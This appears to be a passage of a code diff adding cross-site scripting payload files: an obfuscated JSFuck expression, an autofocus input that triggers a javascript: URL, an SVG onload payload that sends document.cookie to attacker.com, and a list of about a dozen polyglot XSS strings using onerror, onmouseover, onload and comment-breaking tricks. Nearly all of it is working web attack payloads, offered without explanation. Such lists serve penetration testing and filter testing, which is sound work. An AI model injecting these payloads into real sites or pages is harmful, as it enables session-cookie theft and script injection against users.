[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]])()
|
|
18
|
+
</script>
|
|
19
|
+
<input onfocus=location='jav'+'ascript:ale'+'rt(1)' autofocus>
|
|
20
|
+
<svg/onload=try{window.x?0:!function(){var x=new XMLHttpRequest;x.open('GET','//attacker.com/?c='+document.cookie),x.send()}()}catch(e){}>
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
javascript://%250Aalert(1)//
|
|
2
|
+
" onmouseover=alert(1) //
|
|
3
|
+
'>"><script>alert(1)</script>
|
|
4
|
+
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
|
|
5
|
+
" ' type=image src=1 onerror=alert(1)
|
|
6
|
+
'"><svg/onload=alert(1)>
|
|
7
|
+
//"--></script><script>alert(1)</script>
|
|
8
|
+
" autofocus onfocus=alert(1) style="
|
|
9
|
+
%00"><script>alert(1)</script>
|
|
10
|
+
<!--<img src="--><img src=x onerror=alert(1)//">
|
|
11
|
+
<script>/*<![CDATA[*/alert(1)/*]]>*/</script>
|